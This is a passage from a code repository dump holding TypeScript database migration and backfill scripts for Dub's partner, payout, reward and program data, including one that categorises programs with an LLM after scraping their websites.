    "content": "import { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\n\nasync function main() {\n  const users = await prisma.user.findMany({\n    where: {\n      notificationPreferences: null,\n    },\n    select: {\n      id: true,\n    },\n    take: 1000,\n  });\n\n  const res = await prisma.userNotificationPreferences.createMany({\n    data: users.map((user) => ({\n      userId: user.id,\n    })),\n  });\n\n  console.log(`Created ${res.count} notification preferences`);\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/migrations/backfill-partner-groupid-logs.ts",
    "content": "import { buildProgramEnrollmentChangeSet } from \"@/lib/api/activity-log/build-program-enrollment-change-set\";\nimport { trackActivityLog } from \"@/lib/api/activity-log/track-activity-log\";\nimport { prisma } from \"@dub/prisma\";\nimport { groupBy } from \"@dub/utils\";\nimport { differenceInSeconds } from \"date-fns\";\nimport \"dotenv-flow/config\";\nimport * as fs from \"fs\";\nimport * as Papa from \"papaparse\";\n\nlet logsToBackfill: {\n  programId: string;\n  partnerId: string;\n  groupId: string;\n  timestamp: Date;\n}[] = [];\n\n// Remove the following before running this script:\n// - \"server-only\" from serialize-reward.ts\n// - import { logger } from \"@/lib/axiom/server\" from track-activity-log.ts\nasync function main() {\n  Papa.parse(fs.createReadStream(\"backfill_group_id_logs.csv\", \"utf-8\"), {\n    header: true,\n    skipEmptyLines: true,\n    step: (result: {\n      data: {\n        program_id: string;\n        partner_id: string;\n        partner_group_id: string;\n        timestamp: string;\n      };\n    }) => {\n      logsToBackfill.push({\n        programId: result.data.program_id,\n        partnerId: result.data.partner_id,\n        groupId: result.data.partner_group_id,\n        timestamp: new Date(result.data.timestamp),\n      });\n    },\n    complete: async () => {\n      const programs = await prisma.program.findMany({\n        select: {\n          id: true,\n          slug: true,\n          workspaceId: true,\n          workspace: {\n            select: {\n              users: {\n                select: {\n                  userId: true,\n                },\n                orderBy: {\n                  createdAt: \"asc\",\n                },\n                take: 1,\n              },\n            },\n          },\n        },\n      });\n\n      for (const program of programs) {\n        const filteredLogs = logsToBackfill.filter(\n          (log) => log.programId === program.id,\n        );\n        console.log(\n          `Found ${filteredLogs.length} logs to backfill for program ${program.slug}`,\n        );\n\n        const groups = await prisma.partnerGroup.findMany({\n          where: {\n            id: {\n              in: filteredLogs.map((log) => log.groupId),\n            },\n          },\n          select: {\n            id: true,\n            name: true,\n          },\n        });\n\n        const groupNameMap = new Map(\n          groups.map((group) => [group.id, group.name]),\n        );\n\n        const activityLogHistory = await prisma.activityLog.findMany({\n          where: {\n            programId: program.id,\n            resourceType: \"partner\",\n          },\n        });\n\n        // group by and partner id and sort by timestamp to show chronological order\n        const groupedLogs = Object.entries(\n          groupBy(filteredLogs, (log) => log.partnerId),\n        ).map(([partnerId, logs]) => ({\n          partnerId,\n          activityLogsToBackfill: logs\n            .sort((a, b) => a.timestamp.getTime() - b.timestamp.getTime()) // sort by timestamp to show chronological order\n            .map((log, idx) => {\n              if (idx === 0) return null;\n              if (\n                activityLogHistory.find(\n                  (a) =>\n                    a.resourceId === log.partnerId &&\n                    differenceInSeconds(a.createdAt, log.timestamp) < 10,\n                )\n              ) {\n                // console.log(\n                //   `Skipping log for partner ${log.partnerId} because it already exists in the activity log history`,\n                // );\n                return null;\n              }\n              return {\n                workspaceId: program.workspaceId,\n                programId: log.programId,\n                resourceType: \"partner\" as const,\n                resourceId: log.partnerId,\n                action: \"partner.groupChanged\" as const,\n                createdAt: log.timestamp,\n                userId: program.workspace.users[0].userId,\n                changeSet: buildProgramEnrollmentChangeSet({\n                  oldEnrollment: {\n                    partnerGroup: groupNameMap.get(logs[idx - 1].groupId)\n                      ? {\n                          id: logs[idx - 1].groupId,\n                          name: groupNameMap.get(logs[idx - 1].groupId)!,\n                        }\n                      : null,\n                  },\n                  newEnrollment: groupNameMap.get(log.groupId)\n                    ? {\n                        partnerGroup: groupNameMap.get(log.groupId)\n                          ? {\n                              id: log.groupId,\n                              name: groupNameMap.get(log.groupId)!,\n                            }\n                          : null,\n                      }\n                    : null,\n                }),\n              };\n            })\n            .filter((log): log is NonNullable<typeof log> => log !== null),\n        }));\n\n        const withChanges = groupedLogs.filter(\n          (group) => group.activityLogsToBackfill.length,\n        );\n        console.log(\n          `Found ${withChanges.length} partners with activity logs to backfill`,\n        );\n\n        await trackActivityLog(\n          withChanges.flatMap((group) => group.activityLogsToBackfill),\n        );\n      }\n    },\n  });\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/migrations/backfill-partner-groups-verify.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport { deepEqual } from \"@dub/utils\";\nimport \"dotenv-flow/config\";\n\n// verify that the rewards and discount are the same for all enrollments in a group\nasync function main() {\n  const groups = await prisma.programEnrollment.groupBy({\n    by: [\n      \"programId\",\n      \"groupId\",\n      \"saleRewardId\",\n      \"leadRewardId\",\n      \"clickRewardId\",\n      \"discountId\",\n    ],\n    where: {\n      status: {\n        notIn: [\"pending\", \"rejected\", \"banned\"],\n      },\n    },\n  });\n\n  for (const group of groups) {\n    if (!group.groupId) {\n      console.log(`Some enrollments in ${group.programId} have no group id`);\n      continue;\n    }\n\n    const groupData = await prisma.partnerGroup.findUnique({\n      where: {\n        id: group.groupId,\n      },\n    });\n\n    if (!groupData) {\n      console.log(`Group ${group.groupId} not found`);\n      continue;\n    }\n\n    if (\n      !deepEqual(\n        {\n          saleRewardId: groupData.saleRewardId,\n          leadRewardId: groupData.leadRewardId,\n          clickRewardId: groupData.clickRewardId,\n          discountId: groupData.discountId,\n        },\n        {\n          saleRewardId: group.saleRewardId,\n          leadRewardId: group.leadRewardId,\n          clickRewardId: group.clickRewardId,\n          discountId: group.discountId,\n        },\n      )\n    ) {\n      console.log(`Group ${group.groupId} has different rewards`);\n      continue;\n    }\n\n    console.log(`Group ${group.groupId} is valid`);\n  }\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/migrations/backfill-partner-groups.ts",
    "content": "import { createId } from \"@/lib/api/create-id\";\nimport { DEFAULT_PARTNER_GROUP } from \"@/lib/zod/schemas/groups\";\nimport { RESOURCE_COLORS } from \"@/ui/colors\";\nimport { prisma } from \"@dub/prisma\";\nimport { Prisma } from \"@dub/prisma/client\";\nimport { randomValue } from \"@dub/utils\";\nimport \"dotenv-flow/config\";\n\n// one time script for migrating to partner groups\nasync function main() {\n  const groups = await prisma.programEnrollment.groupBy({\n    by: [\n      \"programId\",\n      \"saleRewardId\",\n      \"leadRewardId\",\n      \"clickRewardId\",\n      \"discountId\",\n    ],\n    where: {\n      groupId: null,\n      status: {\n        notIn: [\"pending\", \"rejected\", \"banned\"],\n      },\n    },\n    _count: {\n      _all: true,\n    },\n    orderBy: {\n      _count: {\n        programId: \"desc\",\n      },\n    },\n  });\n\n  console.log(`Found total of ${groups.length} groups`);\n  console.table(groups);\n\n  const rewards = await prisma.reward.findMany({\n    where: {\n      programId: {\n        in: groups.map((group) => group.programId),\n      },\n    },\n  });\n\n  const discounts = await prisma.discount.findMany({\n    where: {\n      programId: {\n        in: groups.map((group) => group.programId),\n      },\n    },\n  });\n\n  const programEnrollments = await prisma.programEnrollment.findMany({\n    where: {\n      programId: {\n        in: groups.map((group) => group.programId),\n      },\n    },\n    select: {\n      id: true,\n      programId: true,\n      clickRewardId: true,\n      leadRewardId: true,\n      saleRewardId: true,\n      discountId: true,\n    },\n  });\n\n  const duplicateRewardsToCreate: Prisma.RewardCreateManyInput[] = [];\n  const duplicateDiscountsToCreate: Prisma.DiscountCreateManyInput[] = [];\n  const programEnrollmentsToUpdate: {\n    ids: string[];\n    data: Prisma.ProgramEnrollmentUpdateManyArgs[\"data\"];\n  }[] = [];\n\n  const rewardIdCounts = {};\n  const discountIdCounts = {};\n  const programIdCounts = {};\n\n  const partnerGroupsToCreate = (await Promise.all(\n    groups.map(async (group) => {\n      for (const rewardType of [\n        \"saleRewardId\",\n        \"leadRewardId\",\n        \"clickRewardId\",\n      ]) {\n        if (group[rewardType]) {\n          if (rewardIdCounts[group[rewardType]] === undefined) {\n            rewardIdCounts[group[rewardType]] = 0;\n          }\n          rewardIdCounts[group[rewardType]]++;\n\n          // if the rewardId was already seen before, we need to duplicate it to prevent unique constraint errors\n          if (rewardIdCounts[group[rewardType]] > 1) {\n            const { id, createdAt, updatedAt, ...rewardFieldsToDuplicate } =\n              rewards.find((r) => r.id === group[rewardType])!;\n\n            // create a new reward id to duplicate the reward\n            const newRewardId = createId({ prefix: \"rw_\" });\n\n            // reassign the new reward id to the group\n            group[`updated_${rewardType}`] = newRewardId;\n\n            // add the duplicated reward to the list of duplicate rewards to create\n            duplicateRewardsToCreate.push({\n              ...rewardFieldsToDuplicate,\n              id: newRewardId,\n              modifiers: rewardFieldsToDuplicate.modifiers\n                ? JSON.parse(JSON.stringify(rewardFieldsToDuplicate.modifiers))\n                : null,\n            });\n          }\n        }\n      }\n\n      if (group.discountId) {\n        if (discountIdCounts[group.discountId] === undefined) {\n          discountIdCounts[group.discountId] = 0;\n        }\n        discountIdCounts[group.discountId]++;\n\n        // if the discountId was already seen before, we need to duplicate it to prevent unique constraint errors\n        if (discountIdCounts[group.discountId] > 1) {\n          const { id, createdAt, updatedAt, ...discountFieldsToDuplicate } =\n            discounts.find((d) => d.id === group.discountId)!;\n\n          // create a new discount id to duplicate the discount\n          const newDiscountId = createId({ prefix: \"disc_\" });\n\n          // reassign the new discount id to the group\n          group[\"updated_discountId\"] = newDiscountId;\n\n          // add the duplicated discount to the list of duplicate discounts to create\n          duplicateDiscountsToCreate.push({\n            ...discountFieldsToDuplicate,\n            id: newDiscountId,\n          });\n        }\n      }\n\n      const hasDefaultReward = rewards.some(\n        (reward) =>\n          // @ts-ignore (old reward schema)\n          reward.default &&\n          (reward.id === group.saleRewardId ||\n            reward.id === group.leadRewardId ||\n            reward.id === group.clickRewardId),\n      );\n\n      if (programIdCounts[group.programId] === undefined) {\n        programIdCounts[group.programId] = 0;\n      }\n      programIdCounts[group.programId]++;\n\n      const isDefaultGroup =\n        hasDefaultReward && programIdCounts[group.programId] === 1;\n\n      const finalGroupId = createId({ prefix: \"grp_\" });\n      const finalClickRewardId =\n        group[\"updated_clickRewardId\"] ?? group.clickRewardId;\n      const finalLeadRewardId =\n        group[\"updated_leadRewardId\"] ?? group.leadRewardId;\n      const finalSaleRewardId =\n        group[\"updated_saleRewardId\"] ?? group.saleRewardId;\n      const finalDiscountId = group[\"updated_discountId\"] ?? group.discountId;\n\n      programEnrollmentsToUpdate.push({\n        ids: programEnrollments\n          .filter(\n            (enrollment) =>\n              enrollment.programId === group.programId &&\n              enrollment.clickRewardId === group.clickRewardId &&\n              enrollment.leadRewardId === group.leadRewardId &&\n              enrollment.saleRewardId === group.saleRewardId &&\n              enrollment.discountId === group.discountId,\n          )\n          .map((enrollment) => enrollment.id),\n        data: {\n          groupId: finalGroupId,\n          clickRewardId: finalClickRewardId,\n          leadRewardId: finalLeadRewardId,\n          saleRewardId: finalSaleRewardId,\n          discountId: finalDiscountId,\n        },\n      });\n\n      if (isDefaultGroup) {\n        await prisma.program.update({\n          where: { id: group.programId },\n          data: { defaultGroupId: finalGroupId },\n        });\n        console.log(\n          `Updated program ${group.programId} with default group ${finalGroupId}`,\n        );\n      }\n\n      return {\n        id: finalGroupId,\n        programId: group.programId,\n        name: isDefaultGroup\n          ? DEFAULT_PARTNER_GROUP.name\n          : `Group ${programIdCounts[group.programId]}`,\n        slug: isDefaultGroup\n          ? DEFAULT_PARTNER_GROUP.slug\n          : `group-${programIdCounts[group.programId]}`,\n        color: isDefaultGroup\n          ? DEFAULT_PARTNER_GROUP.color\n          : randomValue(RESOURCE_COLORS),\n        clickRewardId: finalClickRewardId,\n        leadRewardId: finalLeadRewardId,\n        saleRewardId: finalSaleRewardId,\n        discountId: finalDiscountId,\n      };\n    }),\n  )) satisfies Prisma.PartnerGroupCreateManyInput[];\n\n  console.log(\n    `Duplicate rewards to create: ${duplicateRewardsToCreate.length}`,\n  );\n  console.table(duplicateRewardsToCreate);\n  console.log(\n    `Duplicate discounts to create: ${duplicateDiscountsToCreate.length}`,\n  );\n  console.table(duplicateDiscountsToCreate);\n  console.log(`Partner groups to create: ${partnerGroupsToCreate.length}`);\n  console.table(partnerGroupsToCreate);\n  console.log(\n    `Program enrollments to update: ${programEnrollmentsToUpdate.length}`,\n  );\n  console.table(\n    programEnrollmentsToUpdate.map((pe) => ({\n      ...pe,\n      data: JSON.stringify(pe.data, null, 2),\n    })),\n  );\n\n  const rewardsRes = await prisma.reward.createMany({\n    data: duplicateRewardsToCreate,\n    skipDuplicates: true,\n  });\n  console.log(`Created ${rewardsRes.count} duplicate rewards`);\n\n  const discountsRes = await prisma.discount.createMany({\n    data: duplicateDiscountsToCreate,\n    skipDuplicates: true,\n  });\n  console.log(`Created ${discountsRes.count} duplicate discounts`);\n\n  const groupsRes = await prisma.partnerGroup.createMany({\n    data: partnerGroupsToCreate,\n    skipDuplicates: true,\n  });\n\n  console.log(`Created ${groupsRes.count} partner groups`);\n\n  for (const pe of programEnrollmentsToUpdate) {\n    const r = await prisma.programEnrollment.updateMany({\n      where: {\n        id: {\n          in: pe.ids,\n        },\n      },\n      data: pe.data,\n    });\n    console.log(`Updated ${r.count} enrollments for group ${pe.data.groupId}`);\n  }\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/migrations/backfill-partner-platforms.ts",
    "content": "// @ts-nocheck - old migration script\n\nimport { prisma } from \"@dub/prisma\";\nimport { Prisma } from \"@dub/prisma/client\";\nimport \"dotenv-flow/config\";\n\nasync function main() {\n  let startingAfter: string | undefined = undefined;\n\n  while (true) {\n    console.log(\n      `Fetching partners${startingAfter ? ` starting after ${startingAfter}` : \"\"}...`,\n    );\n\n    const partners = await prisma.partner.findMany({\n      where: {\n        OR: [\n          {\n            website: {\n              not: null,\n            },\n          },\n          {\n            youtube: {\n              not: null,\n            },\n          },\n          {\n            twitter: {\n              not: null,\n            },\n          },\n          {\n            linkedin: {\n              not: null,\n            },\n          },\n          {\n            instagram: {\n              not: null,\n            },\n          },\n          {\n            tiktok: {\n              not: null,\n            },\n          },\n        ],\n      },\n      take: 1000,\n      orderBy: {\n        id: \"asc\",\n      },\n      ...(startingAfter\n        ? {\n            skip: 1,\n            cursor: {\n              id: startingAfter,\n            },\n          }\n        : {}),\n    });\n\n    if (partners.length === 0) {\n      console.log(\"Finished processing partners.\");\n      break;\n    }\n\n    const partnerPlatforms: Omit<\n      Prisma.PartnerPlatformCreateManyInput,\n      \"id\" | \"createdAt\" | \"updatedAt\"\n    >[] = [];\n\n    for (const partner of partners) {\n      const commonFields = {\n        partnerId: partner.id,\n        posts: BigInt(0),\n        views: BigInt(0),\n        subscribers: BigInt(0),\n        metadata: Prisma.DbNull,\n        platformId: null,\n      };\n\n      if (partner.website) {\n        partnerPlatforms.push({\n          ...commonFields,\n          type: \"website\",\n          identifier: partner.website,\n          verifiedAt: partner.websiteVerifiedAt,\n          metadata: partner.websiteTxtRecord\n            ? { websiteTxtRecord: partner.websiteTxtRecord }\n            : Prisma.DbNull,\n        });\n      }\n\n      if (partner.youtube) {\n        partnerPlatforms.push({\n          ...commonFields,\n          type: \"youtube\",\n          identifier: partner.youtube,\n          platformId: partner.youtubeChannelId,\n          verifiedAt: partner.youtubeVerifiedAt,\n          posts: BigInt(partner.youtubeVideoCount),\n          views: BigInt(partner.youtubeViewCount),\n          subscribers: BigInt(partner.youtubeSubscriberCount),\n        });\n      }\n\n      if (partner.twitter) {\n        partnerPlatforms.push({\n          ...commonFields,\n          type: \"twitter\",\n          identifier: partner.twitter,\n          verifiedAt: partner.twitterVerifiedAt,\n        });\n      }\n\n      if (partner.linkedin) {\n        partnerPlatforms.push({\n          ...commonFields,\n          type: \"linkedin\",\n          identifier: partner.linkedin,\n          verifiedAt: partner.linkedinVerifiedAt,\n        });\n      }\n\n      if (partner.instagram) {\n        partnerPlatforms.push({\n          ...commonFields,\n          type: \"instagram\",\n          identifier: partner.instagram,\n          verifiedAt: partner.instagramVerifiedAt,\n        });\n      }\n\n      if (partner.tiktok) {\n        partnerPlatforms.push({\n          ...commonFields,\n          type: \"tiktok\",\n          identifier: partner.tiktok,\n          verifiedAt: partner.tiktokVerifiedAt,\n        });\n      }\n    }\n\n    if (partnerPlatforms.length > 0) {\n      console.table(partnerPlatforms);\n\n      const { count } = await prisma.partnerPlatform.createMany({\n        data: partnerPlatforms,\n        skipDuplicates: true,\n      });\n\n      console.log(`Added ${count} partner platforms.`);\n    }\n\n    startingAfter = partners[partners.length - 1].id;\n\n    await new Promise((resolve) => setTimeout(resolve, 1000));\n  }\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/migrations/backfill-payout-initiated-at.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\n\nasync function main() {\n  const invoices = await prisma.invoice.findMany({\n    where: {\n      type: \"partnerPayout\",\n      payouts: {\n        some: {\n          initiatedAt: null,\n        },\n      },\n    },\n    take: 10,\n  });\n\n  for (const invoice of invoices) {\n    const res = await prisma.payout.updateMany({\n      where: {\n        invoiceId: invoice.id,\n      },\n      data: {\n        initiatedAt: invoice.createdAt,\n      },\n    });\n    console.log(`Updated ${res.count} payouts for invoice ${invoice.id}`);\n  }\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/migrations/backfill-payout-method-hash.ts",
    "content": "// @ts-nocheck - payoutMethodHash no longer unique\n\nimport { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\nimport { stripeConnectClient } from \"../stripe/connect-client\";\n\nasync function main() {\n  const partnerIdsToSkip: string[] = [];\n\n  const partners = await prisma.partner.findMany({\n    where: {\n      stripeConnectId: {\n        not: null,\n      },\n      payoutsEnabledAt: {\n        not: null,\n      },\n      payoutMethodHash: null,\n    },\n    orderBy: {\n      payoutsEnabledAt: \"asc\",\n    },\n    take: 500,\n  });\n\n  for (const partner of partners) {\n    const { data: externalAccounts } =\n      await stripeConnectClient.accounts.listExternalAccounts(\n        partner.stripeConnectId!,\n      );\n\n    console.log(\n      `Found ${externalAccounts.length} external account for partner ${partner.email}`,\n    );\n\n    const defaultExternalAccount = externalAccounts.find(\n      (account) => account.default_for_currency,\n    );\n\n    if (!defaultExternalAccount) {\n      console.log(\n        `Expected at least 1 external account for ${partner.email}, none found`,\n      );\n      continue;\n    }\n\n    if (!defaultExternalAccount.fingerprint) {\n      console.log(\n        `External account ${defaultExternalAccount.id} for ${partner.email} has no fingerprint`,\n      );\n      partnerIdsToSkip.push(partner.id);\n      continue;\n    }\n\n    try {\n      const updatedRes = await prisma.partner.update({\n        where: {\n          id: partner.id,\n        },\n        data: {\n          payoutMethodHash: defaultExternalAccount.fingerprint,\n        },\n      });\n\n      console.log(\n        `Updated ${partner.email} with payoutMethodHash ${updatedRes.payoutMethodHash}`,\n      );\n    } catch (error) {\n      if (error.code === \"P2002\") {\n        const duplicateHash = await prisma.partner.findUnique({\n          where: {\n            payoutMethodHash: defaultExternalAccount.fingerprint!,\n          },\n        });\n        if (duplicateHash) {\n          partnerIdsToSkip.push(partner.id);\n          console.log(\n            `Payout method hash already exists for ${partner.email} / ${partner.stripeConnectId} (found on ${duplicateHash.email} / ${duplicateHash.stripeConnectId})`,\n          );\n        } else {\n          console.log(\n            `Payout method hash already exists for ${partner.email} / ${partner.stripeConnectId} but could not find duplicate`,\n          );\n        }\n      } else {\n        console.log(`Error updating ${partner.email}: ${error}`);\n      }\n    }\n  }\n\n  console.log(`Partner IDs to skip: \"${partnerIdsToSkip.join('\", \"')}\"`);\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/migrations/backfill-payout-method.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport { PartnerPayoutMethod } from \"@dub/prisma/client\";\nimport \"dotenv-flow/config\";\n\nconst BATCH_SIZE = 500;\n\nasync function main() {\n  while (true) {\n    const payouts = await prisma.payout.findMany({\n      where: {\n        method: null,\n        OR: [\n          {\n            stripeTransferId: {\n              not: null,\n            },\n          },\n          {\n            paypalTransferId: {\n              not: null,\n            },\n          },\n        ],\n      },\n      select: {\n        id: true,\n        stripeTransferId: true,\n        stripePayoutId: true,\n        paypalTransferId: true,\n      },\n      take: BATCH_SIZE,\n    });\n\n    if (payouts.length === 0) {\n      break;\n    }\n\n    const connectPayoutIds: string[] = [];\n    const paypalPayoutIds: string[] = [];\n\n    for (const payout of payouts) {\n      if (payout.stripeTransferId || payout.stripePayoutId) {\n        connectPayoutIds.push(payout.id);\n      } else if (payout.paypalTransferId) {\n        paypalPayoutIds.push(payout.id);\n      }\n    }\n\n    const [connectRes, paypalRes] = await Promise.all([\n      connectPayoutIds.length > 0\n        ? prisma.payout.updateMany({\n            where: {\n              id: {\n                in: connectPayoutIds,\n              },\n            },\n            data: {\n              method: PartnerPayoutMethod.connect,\n            },\n          })\n        : Promise.resolve({ count: 0 }),\n\n      paypalPayoutIds.length > 0\n        ? prisma.payout.updateMany({\n            where: {\n              id: {\n                in: paypalPayoutIds,\n              },\n            },\n            data: {\n              method: PartnerPayoutMethod.paypal,\n            },\n          })\n        : Promise.resolve({ count: 0 }),\n    ]);\n\n    console.log(\n      `Updated ${connectRes.count} connect payouts and ${paypalRes.count} paypal payouts`,\n    );\n  }\n\n  console.log(\"Backfill finished.\");\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/migrations/backfill-payout-mode.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\n\nasync function main() {\n  const payouts = await prisma.payout.findMany({\n    where: {\n      status: {\n        notIn: [\"pending\", \"canceled\"],\n      },\n      mode: null,\n    },\n    take: 100,\n  });\n\n  const res = await prisma.payout.updateMany({\n    where: {\n      id: { in: payouts.map((payout) => payout.id) },\n    },\n    data: {\n      mode: \"internal\",\n    },\n  });\n\n  console.log(res);\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/migrations/backfill-performance-bounty-submissions.ts",
    "content": "import { qstash } from \"@/lib/cron\";\nimport { prisma } from \"@dub/prisma\";\nimport { APP_DOMAIN_WITH_NGROK } from \"@dub/utils\";\nimport \"dotenv-flow/config\";\n\nasync function main() {\n  // Step 1: Set all existing performance bounties to lifetime stats\n  await prisma.bounty.updateMany({\n    where: {\n      type: \"performance\",\n    },\n    data: {\n      performanceScope: \"lifetime\",\n    },\n  });\n\n  const bounties = await prisma.bounty.findMany({\n    where: {\n      type: \"performance\",\n    },\n  });\n\n  // Step 2: Create the draft bounty submission for performance bounties\n  for (const bounty of bounties) {\n    const response = await qstash.publishJSON({\n      url: `${APP_DOMAIN_WITH_NGROK}/api/cron/bounties/create-draft-submissions`,\n      body: {\n        bountyId: bounty.id,\n      },\n    });\n\n    await new Promise((resolve) => setTimeout(resolve, 5000));\n\n    console.log(\n      `Enqueued /api/cron/bounties/create-draft-submissions for the bounty ${bounty.id}`,\n      response,\n    );\n  }\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/migrations/backfill-plain-customers.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport { chunk } from \"@dub/utils\";\nimport \"dotenv-flow/config\";\nimport { syncUserPlanToPlain } from \"../../lib/plain/sync-user-plan\";\n\nasync function main() {\n  const users = await prisma.user.findMany({\n    select: {\n      id: true,\n      name: true,\n      email: true,\n    },\n    where: {\n      // NOT: GENERIC_EMAIL_DOMAINS.map((domain) => ({\n      //   email: {\n      //     endsWith: `@${domain}`,\n      //   },\n      // })),\n      projects: {\n        some: {\n          project: {\n            plan: {\n              not: \"free\",\n            },\n          },\n          role: \"owner\",\n        },\n      },\n    },\n    take: 50,\n    orderBy: {\n      createdAt: \"asc\",\n    },\n  });\n\n  const chunks = chunk(users, 50);\n  for (let i = 0; i < chunks.length; i++) {\n    const chunk = chunks[i];\n    await Promise.allSettled(chunk.map((user) => syncUserPlanToPlain(user)));\n    console.log(\n      `Backfilled ${chunk.length} users in batch ${i + 1} of ${chunks.length} (out of ${users.length} total users)`,\n    );\n  }\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/migrations/backfill-program-categories.ts",
    "content": "import { anthropic } from \"@ai-sdk/anthropic\";\nimport { prisma } from \"@dub/prisma\";\nimport { Category } from \"@dub/prisma/client\";\nimport FireCrawlApp from \"@mendable/firecrawl-js\";\nimport { generateObject } from \"ai\";\nimport \"dotenv-flow/config\";\nimport * as z from \"zod/v4\";\n\nconst CategoryEnum = z.enum(Category);\n\n// AI response schema\nconst categorizationSchema = z.object({\n  categories: z.array(CategoryEnum).min(1).max(3),\n  reasoning: z.string(),\n});\n\n// Result interface\ninterface ProgramResult {\n  programId: string;\n  programName: string;\n  categories: Category[];\n  url?: string;\n  error?: string;\n}\n\nif (!process.env.FIRECRAWL_API_KEY)\n  throw new Error(\"FIRECRAWL_API_KEY is not set\");\n\n// Initialize FireCrawl\nconst firecrawl = new FireCrawlApp({\n  apiKey: process.env.FIRECRAWL_API_KEY,\n});\n\n// Function to scrape website content\nasync function scrapeWebsite(url: string) {\n  try {\n    const scrapeResult = await firecrawl.scrapeUrl(url, {\n      formats: [\"markdown\"],\n      onlyMainContent: true,\n      parsePDF: false,\n      maxAge: 14400000, // 4 hours cache\n      excludeTags: [\"img\"],\n    });\n\n    if (!scrapeResult.success) {\n      throw new Error(scrapeResult.error || \"Failed to scrape\");\n    }\n\n    return {\n      content: scrapeResult.markdown || \"\",\n      title: scrapeResult.metadata?.title || \"\",\n      description: scrapeResult.metadata?.description || \"\",\n    };\n  } catch (error) {\n    console.error(`Error scraping ${url}:`, error);\n    return null;\n  }\n}\n\n// Function to categorize content using AI\nasync function categorizeProgram(\n  programName: string,\n  url: string,\n  content: string,\n  title: string,\n  description: string,\n) {\n  try {\n    const prompt = `Analyze this website and categorize it into 1-3 most relevant categories.\n\nIMPORTANT: You must select categories from this EXACT list (case-sensitive):\n- Artificial_Intelligence\n- Development\n- Design\n- Productivity\n- Finance\n- Marketing\n- Ecommerce\n- Security\n- Education\n- Health\n- Consumer\n\nCategory descriptions:\n- Artificial_Intelligence: AI/ML tools, chatbots, automation, machine learning platforms\n- Development: Code tools, APIs, developer platforms, programming resources\n- Design: Design tools, UI/UX, creative software, graphics\n- Productivity: Task management, collaboration, workflow tools, organization\n- Finance: Financial services, payments, accounting, investment, banking\n- Marketing: Marketing tools, analytics, advertising, social media, SEO\n- Ecommerce: Online stores, commerce platforms, marketplaces, retail\n- Security: Cybersecurity, privacy, protection tools, data security\n- Education: Learning platforms, courses, educational content, training\n- Health: Healthcare, fitness, wellness apps, medical services\n- Consumer: General consumer products/services that don't fit other categories\n\nCRITICAL: Only use the exact category names listed above. DO NOT create new categories or modify existing ones. Do not select \"Entrepreneurship\" or \"Business\" as a category.\n\nWebsite information:\nName: ${programName}\nWebsite URL: ${url}\nPage Title: ${title}\nMeta Description: ${description}\nWebsite Content Preview: ${content.slice(0, 300)}...`;\n\n    const { object } = await generateObject({\n      model: anthropic(\"claude-sonnet-4-20250514\"),\n      schema: categorizationSchema,\n      prompt,\n    });\n\n    return object.categories;\n  } catch (error) {\n    // console.error(`Error categorizing ${programName}:`, error);\n\n    // If it's a validation error (invalid enum values), return empty array\n    if (\n      error?.name === \"AI_NoObjectGeneratedError\" ||\n      error?.cause?.name === \"AI_TypeValidationError\"\n    ) {\n      console.log(\n        `  Invalid categories returned for ${programName}, skipping categorization`,\n      );\n      return []; // Return empty array for invalid categories\n    }\n\n    return []; // Return empty array for any other errors too\n  }\n}\n\n// Main processing function\nasync function main() {\n  console.log(\"Starting program categorization...\");\n\n  const programs = await prisma.program.findMany({\n    select: {\n      id: true,\n      name: true,\n      url: true,\n    },\n    where: {\n      url: {\n        not: null,\n      },\n      categories: {\n        none: {},\n      },\n      addedToMarketplaceAt: {\n        not: null,\n      },\n    },\n    take: 10,\n  });\n\n  console.log(`Found ${programs.length} programs to categorize`);\n\n  const results: ProgramResult[] = [];\n\n  // Process each program\n  for (let i = 0; i < programs.length; i++) {\n    const program = programs[i];\n    console.log(`\\n[${i + 1}/${programs.length}] Processing: ${program.name}`);\n\n    if (!program.url) {\n      results.push({\n        programId: program.id,\n        programName: program.name,\n        categories: [],\n        error: \"No URL provided\",\n      });\n      continue;\n    }\n\n    // Scrape website\n    console.log(`Scraping: ${program.url}`);\n    const scraped = await scrapeWebsite(program.url);\n\n    if (!scraped) {\n      results.push({\n        programId: program.id,\n        programName: program.name,\n        categories: [],\n        url: program.url,\n        error: \"Failed to scrape website\",\n      });\n      continue;\n    }\n\n    // Categorize with AI\n    console.log(`Analyzing content...`);\n    const categories = await categorizeProgram(\n      program.name,\n      program.url,\n      scraped.content,\n      scraped.title,\n      scraped.description,\n    );\n\n    results.push({\n      programId: program.id,\n      programName: program.name,\n      categories: categories as Category[],\n      url: program.url,\n    });\n\n    console.log(\n      `  Categories: ${categories.length > 0 ? categories.join(\", \") : \"None (invalid/failed categorization)\"}`,\n    );\n\n    // Add delay to respect rate limits\n    await new Promise((resolve) => setTimeout(resolve, 1000));\n  }\n\n  console.log(JSON.stringify(results, null, 2));\n  console.log(`Completed categorization of ${results.length} programs`);\n\n  const expanded = results.flatMap((result) =>\n    result.categories.map((category) => ({\n      programId: result.programId,\n      category,\n    })),\n  );\n\n  console.log(\"expanded\", JSON.stringify(expanded, null, 2));\n\n  if (!expanded.length) return;\n\n  await prisma.programCategory.createMany({\n    data: expanded,\n    skipDuplicates: true,\n  });\n}\n\nmain()\n  .catch((error) => {\n    console.error(\"Script failed:\", error);\n    process.exit(1);\n  })\n  .finally(async () => {\n    await prisma.$disconnect();\n  });\n"
  },
  {
    "path": "apps/web/scripts/migrations/backfill-program-marketplace-descriptions.ts",
